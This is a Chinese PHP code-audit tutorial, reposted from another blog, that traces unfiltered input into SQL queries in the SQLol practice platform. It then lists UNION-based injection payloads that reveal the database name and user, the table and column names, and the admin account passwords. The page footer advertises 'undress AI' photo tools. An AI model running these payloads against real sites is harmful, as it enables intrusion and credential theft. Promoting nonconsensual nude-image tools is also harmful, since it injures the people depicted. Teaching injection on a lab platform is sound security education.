【PHP代码审计实例教程】 SQL注入 – 1.什么都没过滤的入门情况
近期博客将更新几篇PHP代码审计教程,文章转载自朋友博客,文章的风格简洁明了,也和我博客一惯坚持的风格类似。
文章已经得到授权(cnbraid授权),虽然不是我原创,但是文章很给力,希望小伙伴们喜欢。
0x01 背景
首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~
0x02 环境搭建
PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。
这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。
PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。
①源码我打包了一份: http://pan.baidu.com/s/1nu2vaOT
②解压到www的sql目录下,直接打开http://localhost/sql即可看到如下界面:
0x03 漏洞分析
首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件:
这里进行简单的源码分析,看不懂就略过以后再看~
1.看select.php文件,开始引入了/include/nav.inc.php
<?phpinclude('includes/nav.inc.php');?>
2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:
表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下
<?php$_REQUEST = array_merge($_GET, $_POST, $_COOKIE);if(isset($_REQUEST['submit'])){ //submit后,开始进入处理程序switch($_REQUEST['sanitize_quotes']){ //单引号的处理,表单选择不过滤,就是对应none,新手看不懂可以学好php再回来 case 'quotes_double': $_REQUEST['inject_string'] = str_replace('\'', '\'\'', $_REQUEST['inject_string']); break; case 'quotes_escape': $_REQUEST['inject_string'] = str_replace('\'', '\\\'', $_REQUEST['inject_string']); break; case 'quotes_remove': $_REQUEST['inject_string'] = str_replace('\'', '', $_REQUEST['inject_string']); break;}//对空格的处理,如果参数中没有spaces_remove或者spaces_remove!=on就不会过滤空格if(isset($_REQUEST['spaces_remove']) and $_REQUEST['spaces_remove'] == 'on') $_REQUEST['inject_string'] = str_replace(' ', '', $_REQUEST['inject_string']);//黑名单关键字的处理,文章用不上,略过...if(isset($_REQUEST['blacklist_keywords'])){ $blacklist = explode(',' , $_REQUEST['blacklist_keywords']);}//过滤级别,新手可以不用管,略过...if(isset($_REQUEST['blacklist_level'])){ switch($_REQUEST['blacklist_level']){ //We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively. //At medium blacklisting, checks are done case-insensitively. //At the highest level, checks are done case-insensitively and repeatedly. case 'low': foreach($blacklist as $keyword){ $_REQUEST['inject_string'] = str_replace($keyword, '', $_REQUEST['inject_string']); } break; case 'medium': foreach($blacklist as $keyword){ $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string'])); } break; case 'high': do{ $keyword_found = 0; foreach($blacklist as $keyword){ $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']), $count); $keyword_found += $count; } }while ($keyword_found); break; }}}?>
3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:
<?phpif(isset($_REQUEST['submit'])){ //submit后,进入处理程序之二,1在上面if($_REQUEST['location'] == 'entire_query'){//判断是不是整条语句都要注入,这里方便学习可以忽略不管 $query = $_REQUEST['inject_string']; if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>';} else { //这里是根据你选择要注射的位置来构造sql语句 $display_column_name = $column_name = 'username'; $display_table_name = $table_name = 'users'; $display_where_clause = $where_clause = 'WHERE isadmin = 0'; $display_group_by_clause = $group_by_clause = 'GROUP BY username'; $display_order_by_clause = $order_by_clause = 'ORDER BY username ASC'; $display_having_clause = $having_clause = 'HAVING 1 = 1'; switch ($_REQUEST['location']){ case 'column_name': $column_name = $_REQUEST['inject_string']; $display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>'; break; case 'table_name': $table_name = $_REQUEST['inject_string']; $display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>'; break; case 'where_string': $where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'"; $display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'"; break; case 'where_int': $where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string']; $display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>'; break; case 'group_by': $group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string']; $display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>'; break; case 'order_by': $order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC'; $display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC'; break; case 'having': $having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string']; $display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>'; break; } $query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause "; /*Probably a better way to create $displayquery... This allows me to underline the injection string in the resulting query that's displayed with the "Show Query" option without munging the query which hits the database.*/ $displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause ";}include('includes/database.inc.php');//这里又引入了一个包,我们继续跟进看看}?>
4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^
$db_conn = NewADOConnection($dsn);print("\n<br>\n<br>");if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>";$db_conn->SetFetchMode(ADODB_FETCH_ASSOC);$results = $db_conn->Execute($query);
0x04 漏洞证明
1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控:
2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC:
-1 union select 222333#
找到输出点“222333”的位置如下图:
3.构造获取数据库相关信息的POC:
-1 union select concat(database(),0x5c,user(),0x5c,version())#
成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下:
4.构造获取数据库sqlol中所有表信息的POC:
-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#
成功获取数据库sqlol所有表信息如下:
5.构造获取admin表所有字段信息的POC:
-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#
成功获取表admin所有字段信息如下:
6.构造获取admin表账户密码的POC:
-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#
成功获取管理员的账户密码信息如下:
原文地址:
http://www.cnbraid.com/2015/12/17/sql0/

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

PHP中有四种主要错误类型:1.Notice:最轻微,不会中断程序,如访问未定义变量;2.Warning:比Notice严重,不会终止程序,如包含不存在文件;3.FatalError:最严重,会终止程序,如调用不存在函数;4.ParseError:语法错误,会阻止程序执行,如忘记添加结束标签。

PHP和Python各有优势,选择依据项目需求。1.PHP适合web开发,尤其快速开发和维护网站。2.Python适用于数据科学、机器学习和人工智能,语法简洁,适合初学者。

在PHP中,应使用password_hash和password_verify函数实现安全的密码哈希处理,不应使用MD5或SHA1。1)password_hash生成包含盐值的哈希,增强安全性。2)password_verify验证密码,通过比较哈希值确保安全。3)MD5和SHA1易受攻击且缺乏盐值,不适合现代密码安全。

PHP在电子商务、内容管理系统和API开发中广泛应用。1)电子商务:用于购物车功能和支付处理。2)内容管理系统:用于动态内容生成和用户管理。3)API开发:用于RESTfulAPI开发和API安全性。通过性能优化和最佳实践,PHP应用的效率和可维护性得以提升。

HTTP请求方法包括GET、POST、PUT和DELETE,分别用于获取、提交、更新和删除资源。1.GET方法用于获取资源,适用于读取操作。2.POST方法用于提交数据,常用于创建新资源。3.PUT方法用于更新资源,适用于完整更新。4.DELETE方法用于删除资源,适用于删除操作。

PHP是一种广泛应用于服务器端的脚本语言,特别适合web开发。1.PHP可以嵌入HTML,处理HTTP请求和响应,支持多种数据库。2.PHP用于生成动态网页内容,处理表单数据,访问数据库等,具有强大的社区支持和开源资源。3.PHP是解释型语言,执行过程包括词法分析、语法分析、编译和执行。4.PHP可以与MySQL结合用于用户注册系统等高级应用。5.调试PHP时,可使用error_reporting()和var_dump()等函数。6.优化PHP代码可通过缓存机制、优化数据库查询和使用内置函数。7

PHP通过$\_FILES变量处理文件上传,确保安全性的方法包括:1.检查上传错误,2.验证文件类型和大小,3.防止文件覆盖,4.移动文件到永久存储位置。

在PHPOOP中,self::引用当前类,parent::引用父类,static::用于晚静态绑定。1.self::用于静态方法和常量调用,但不支持晚静态绑定。2.parent::用于子类调用父类方法,无法访问私有方法。3.static::支持晚静态绑定,适用于继承和多态,但可能影响代码可读性。
